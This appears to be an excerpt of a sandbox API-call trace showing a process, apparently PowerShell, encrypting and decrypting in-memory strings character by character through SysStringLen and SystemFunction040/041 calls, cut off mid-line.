[0204.098] SysStringLen (param_1="Eh/VlCB6Nd3kPpUMKUDnxHIP") returned 0x18 [0204.098] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0204.098] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡煄럮춇踀桐뺾ᾥ盏") returned 0x18 [0204.099] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡煄럮춇踀桐뺾ᾥ盏") returned 0x18 [0204.099] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡煄럮춇踀桐뺾ᾥ盏") returned 0x18 [0204.099] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡煄럮춇踀桐뺾ᾥ盏") returned 0x20 [0204.099] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0204.099] SysStringLen (param_1="Eh/VlCB6Nd3kPpUMKUDnxHIPg轻뫮㓎ࣁ泖믴") returned 0x20 [0204.099] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0204.100] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡煄럮춇踀桐뺾ᾥ盏ࠗ枤䲱ۓ\秙婙朊≝) returned 0x20 [0204.100] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡煄럮춇踀桐뺾ᾥ盏ࠗ枤䲱ۓ\秙婙朊≝) returned 0x20 [0204.100] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0204.100] SysStringLen (param_1="Eh/VlCB6Nd3kPpUMKUDnxHIPgU뫮㓎ࣁ泖믴") returned 0x20 [0204.100] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0204.100] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡煄럮춇踀桐뺾ᾥ盏왵ₘ阔霠胡ῒ逨瑨") returned 0x20 [0204.100] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡煄럮춇踀桐뺾ᾥ盏왵ₘ阔霠胡ῒ逨瑨") returned 0x20 [0204.100] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0204.101] SysStringLen (param_1="Eh/VlCB6Nd3kPpUMKUDnxHIPgUT㓎ࣁ泖믴") returned 0x20 [0204.101] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0204.101] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡煄럮춇踀桐뺾ᾥ盏ろ⊭갵ｔᮎꁯ꒓ﾴ") returned 0x20 [0204.101] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡煄럮춇踀桐뺾ᾥ盏ろ⊭갵ｔᮎꁯ꒓ﾴ") returned 0x20 [0204.101] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0204.101] SysStringLen (param_1="Eh/VlCB6Nd3kPpUMKUDnxHIPgUTOࣁ泖믴") returned 0x20 [0204.101] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0204.101] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡煄럮춇踀桐뺾ᾥ盏펳㥄ᩋ巗祹＞") returned 0x20 [0204.101] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡煄럮춇踀桐뺾ᾥ盏펳㥄ᩋ巗祹＞") returned 0x20 [0204.101] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0204.101] SysStringLen (param_1="Eh/VlCB6Nd3kPpUMKUDnxHIPgUTO5ࣁ泖믴") returned 0x20 [0204.101] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0204.102] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡煄럮춇踀桐뺾ᾥ盏攪귧噏₳ﬓ窫箸蕒") returned 0x20 [0204.102] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡煄럮춇踀桐뺾ᾥ盏攪귧噏₳ﬓ窫箸蕒") returned 0x20 [0204.102] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0204.102] SysStringLen (param_1="Eh/VlCB6Nd3kPpUMKUDnxHIPgUTO5H泖믴") returned 0x20 [0204.102] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0204.102] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡煄럮춇踀桐뺾ᾥ盏\䅹촳鏌㎴㔉≹) returned 0x20 [0204.102] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡煄럮춇踀桐뺾ᾥ盏\䅹촳鏌㎴㔉≹) returned 0x20 [0204.102] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0204.102] SysStringLen (param_1="Eh/VlCB6Nd3kPpUMKUDnxHIPgUTO5Hx믴") returned 0x20 [0204.102] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0204.103] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡煄럮춇踀桐뺾ᾥ盏뎪ꩩ蘆蜥㡥殤迷ﾫ") returned 0x20 [0204.103] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡煄럮춇踀桐뺾ᾥ盏뎪ꩩ蘆蜥㡥殤迷ﾫ") returned 0x20 [0204.103] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0204.103] SysStringLen (param_1="Eh/VlCB6Nd3kPpUMKUDnxHIPgUTO5HxN") returned 0x20 [0204.103] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0204.103] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡煄럮춇踀桐뺾ᾥ盏訉恾棥䒦✮닕⼜") returned 0x20 [0204.103] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡煄럮춇踀桐뺾ᾥ盏訉恾棥䒦✮닕⼜") returned 0x20 [0204.103] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡煄럮춇踀桐뺾ᾥ盏訉恾棥䒦✮닕⼜") returned 0x20 [0204.103] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡煄럮춇踀桐뺾ᾥ盏訉恾棥䒦✮닕⼜") returned 0x28 [0204.103] SystemFunction041 (in: Memory=0x5c91b44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91b44) returned 0x0 [0204.104] SysStringLen (param_1="Eh/VlCB6Nd3kPpUMKUDnxHIPgUTO5HxNi士ᾌ﹨橣酑솦") returned 0x28 [0204.104] SystemFunction040 (in: Memory=0x5c91b44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91b44) returned 0x0 [0204.104] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡煄럮춇踀桐뺾ᾥ盏訉恾棥䒦✮닕⼜㲛ᥳ夐面牔˽㧠뻀") returned 0x28 [0204.104] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡煄럮춇踀桐뺾ᾥ盏訉恾棥䒦✮닕⼜㲛ᥳ夐面牔˽㧠뻀") returned 0x28 [0204.104] SystemFunction041 (in: Memory=0x5c91b44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91b44) returned 0x0 [0204.104] SysStringLen (param_1="Eh/VlCB6Nd3kPpUMKUDnxHIPgUTO5HxNi7ᾌ﹨橣酑솦") returned 0x28 [0204.104] SystemFunction040 (in: Memory=0x5c91b44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91b44) returned 0x0 [0204.104] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡煄럮춇踀桐뺾ᾥ盏訉恾棥䒦✮닕⼜網ꐵ㺑뽻ꏦ忥氂樅") returned 0x28 [0204.104] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡煄럮춇踀桐뺾ᾥ盏訉恾棥䒦✮닕⼜網ꐵ㺑뽻ꏦ忥氂樅") returned 0x28 [0204.104] SystemFunction041 (in: Memory=0x5c91b44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91b44) returned 0x0 [0204.104] SysStringLen (param_1="Eh/VlCB6Nd3kPpUMKUDnxHIPgUTO5HxNi7K﹨橣酑솦") returned 0x28 [0204.104] SystemFunction040 (in: Memory=0x5c91b44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91b44) returned 0x0 [0204.105] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡煄럮춇踀桐뺾ᾥ盏訉恾棥䒦✮닕⼜뗰刨퉁脕涚痕蠧") returned 0x28 [0204.105] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡煄럮춇踀桐뺾ᾥ盏訉恾棥䒦✮닕⼜뗰刨퉁脕涚痕蠧") returned 0x28 [0204.105] SystemFunction041 (in: Memory=0x5c91b44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91b44) returned 0x0 [0204.105] SysStringLen (param_1="Eh/VlCB6Nd3kPpUMKUDnxHIPgUTO5HxNi7K4橣酑솦") returned 0x28 [0204.105] SystemFunction040 (in: Memory=0x5c91b44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91b44) returned 0x0 [0204.105] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡煄럮춇踀桐뺾ᾥ盏訉恾棥䒦✮닕⼜衄ꝕ绶᫗ᵬ岃ꡩ馷") returned 0x28 [0204.105] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡煄럮춇踀桐뺾ᾥ盏訉恾棥䒦✮닕⼜衄ꝕ绶᫗ᵬ岃ꡩ馷") returned 0x28 [0204.105] SystemFunction041 (in: Memory=0x5c91b44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91b44) returned 0x0 [0204.105] SysStringLen (param_1="Eh/VlCB6Nd3kPpUMKUDnxHIPgUTO5HxNi7K4f酑솦") returned 0x28 [0204.105] SystemFunction040 (in: Memory=0x5c91b44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91b44) returned 0x0 [0204.105] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡煄럮춇踀桐뺾ᾥ盏訉恾棥䒦✮닕⼜䆢ᅇब﯊뫾洱祝") returned 0x28 [0204.106] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡煄럮춇踀桐뺾ᾥ盏訉恾棥䒦✮닕⼜䆢ᅇब﯊뫾洱祝") returned 0x28 [0204.106] SystemFunction041 (in: Memory=0x5c91b44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91b44) returned 0x0 [0204.106] SysStringLen (param_1="Eh/VlCB6Nd3kPpUMKUDnxHIPgUTO5HxNi7K4f+솦") returned 0x28 [0204.106] SystemFunction040 (in: Memory=0x5c91b44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91b44) returned 0x0 [0204.206] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡煄럮춇踀桐뺾ᾥ盏訉恾棥䒦✮닕⼜೏圴聻ᔦ≎률ꊵ錇") returned 0x28 [0204.206] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡煄럮춇踀桐뺾ᾥ盏訉恾棥䒦✮닕⼜೏圴聻ᔦ≎률ꊵ錇") returned 0x28 [0204.207] SystemFunction041 (in: Memory=0x5c91b44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91b44) returned 0x0 [0204.207] SysStringLen (param_1="Eh/VlCB6Nd3kPpUMKUDnxHIPgUTO5HxNi7K4f+F") returned 0x28 [0204.207] SystemFunction040 (in: Memory=0x5c91b44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91b44) returned 0x0 [0204.207] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡煄럮춇踀桐뺾ᾥ盏訉恾棥䒦✮닕⼜쯝荎᳼踯䰝骼쉪姪") returned 0x28 [0204.207] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡煄럮춇踀桐뺾ᾥ盏訉恾棥䒦✮닕⼜쯝荎᳼踯䰝骼쉪姪") returned 0x28 [0204.207] SystemFunction041 (in: Memory=0x5c91b44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91b44) returned 0x0 [0204.207] SysStringLen (param_1="Eh/VlCB6Nd3kPpUMKUDnxHIPgUTO5HxNi7K4f+FN") returned 0x28 [0204.207] SystemFunction040 (in: Memory=0x5c91b44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91b44) returned 0x0 [0204.208] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡煄럮춇踀桐뺾ᾥ盏訉恾棥䒦✮닕⼜忨카﨤泛쵿똙嵋") returned 0x28 [0204.208] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡煄럮춇踀桐뺾ᾥ盏訉恾棥䒦✮닕⼜忨카﨤泛쵿똙嵋") returned 0x28 [0204.208] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡煄럮춇踀桐뺾ᾥ盏訉恾棥䒦✮닕⼜忨카﨤泛쵿똙嵋") returned 0x28 [0204.208] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡煄럮춇踀桐뺾ᾥ盏訉恾棥䒦✮닕⼜忨카﨤泛쵿똙嵋") returned 0x30 [0204.208] SystemFunction041 (in: Memory=0x3da954, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da954) returned 0x0 [0204.208] SysStringLen (param_1="Eh/VlCB6Nd3kPpUMKUDnxHIPgUTO5HxNi7K4f+FNT赍형䚐f苡遰") returned 0x30 [0204.208] SystemFunction040 (in: Memory=0x3da954, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da954) returned 0x0 [0204.208] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡煄럮춇踀桐뺾ᾥ盏訉恾棥䒦✮닕⼜忨카﨤泛쵿똙嵋䦫禇腚䲬쑟㯵⨏䑳") returned 0x30 [0204.208] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡煄럮춇踀桐뺾ᾥ盏訉恾棥䒦✮닕⼜忨카﨤泛쵿똙嵋䦫禇腚䲬쑟㯵⨏䑳") returned 0x30 [0204.208] SystemFunction041 (in: Memory=0x3da954, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da954) returned 0x0 [0204.209] SysStringLen (param_1="Eh/VlCB6Nd3kPpUMKUDnxHIPgUTO5HxNi7K4f+FNTk赍형䚐f苡遰") returned 0x30 [0204.209] SystemFunction040 (in: Memory=0x3da954, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da954) returned 0x0 [0204.209] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡煄럮춇踀桐뺾ᾥ盏訉恾棥䒦✮닕⼜忨카﨤泛쵿똙嵋㣀鈓賋谥왶柊ഈᡆ") returned 0x30 [0204.209] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡煄럮춇踀桐뺾ᾥ盏訉恾棥䒦✮닕⼜忨카﨤泛쵿똙嵋㣀鈓賋谥왶柊ഈᡆ") returned 0x30 [0204.209] SystemFunction041 (in: Memory=0x3da954, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da954) returned 0x0 [0204.209] SysStringLen (param_1="Eh/VlCB6Nd3kPpUMKUDnxHIPgUTO5HxNi7K4f+FNTk8형䚐f苡遰") returned 0x30 [0204.209] SystemFunction040 (in: Memory=0x3da954, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da954) returned 0x0 [0204.209] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡煄럮춇踀桐뺾ᾥ盏訉恾棥䒦✮닕⼜忨카﨤泛쵿똙嵋栘侨৖坘ᴆ擠篑뽉") returned 0x30 [0204.209] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡煄럮춇踀桐뺾ᾥ盏訉恾棥䒦✮닕⼜忨카﨤泛쵿똙嵋栘侨৖坘ᴆ擠篑뽉") returned 0x30 [0204.209] SystemFunction041 (in: Memory=0x3da954, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da954) returned 0x0 [0204.212] SysStringLen (param_1="Eh/VlCB6Nd3kPpUMKUDnxHIPgUTO5HxNi7K4f+FNTk8=䚐f苡遰") returned 0x30 [0204.213] SystemFunction040 (in: Memory=0x3da954, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da954) returned 0x0 [0204.213] EtwEventActivityIdControl () returned 0x0 [0204.214] EtwEventActivityIdControl () returned 0x0 [0204.215] EtwEventActivityIdControl () returned 0x0 [0204.298] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e690, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0204.299] EtwEventActivityIdControl () returned 0x0 [0204.299] EtwEventActivityIdControl () returned 0x0 [0204.299] EtwEventActivityIdControl () returned 0x0 [0204.300] SysStringLen (param_1="") returned 0x8 [0204.300] SysStringLen (param_1="N") returned 0x8 [0204.300] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0204.301] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0204.301] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0204.301] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0204.301] SysStringLen (param_1="ND") returned 0x8 [0204.301] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0204.301] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0204.301] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0204.301] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0204.301] SysStringLen (param_1="NDZ") returned 0x8 [0204.301] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0204.301] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0204.301] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0204.301] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0204.302] SysStringLen (param_1="NDZl") returned 0x8 [0204.302] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0204.302] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0204.302] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0204.302] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0204.302] SysStringLen (param_1="NDZlO") returned 0x8 [0204.302] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0204.302] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0204.302] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0204.302] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0204.302] SysStringLen (param_1="NDZlOD") returned 0x8 [0204.302] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0204.302] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0204.302] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0204.302] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0204.303] SysStringLen (param_1="NDZlODR") returned 0x8 [0204.303] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0204.303] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0204.303] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0204.303] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0204.303] SysStringLen (param_1="NDZlODRm") returned 0x8 [0204.303] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0204.303] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0204.303] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0204.303] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0204.304] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0204.304] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0204.304] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0204.304] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0204.304] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0204.304] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0204.304] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0204.304] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0204.304] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0204.304] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0204.304] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0204.304] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0204.304] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0204.304] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0204.305] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0204.305] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0204.305] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0204.305] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0204.305] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0204.305] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0204.305] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0204.305] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0204.305] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0204.305] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0204.307] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0204.307] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0204.307] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0204.308] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0204.308] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0204.308] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0204.308] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0204.308] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0204.308] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0204.308] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0204.308] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0204.308] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0204.308] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0204.308] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0204.308] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0204.308] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0204.309] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0204.309] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0204.309] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0204.309] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0204.309] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0204.309] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0204.309] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0204.309] SysStringLen 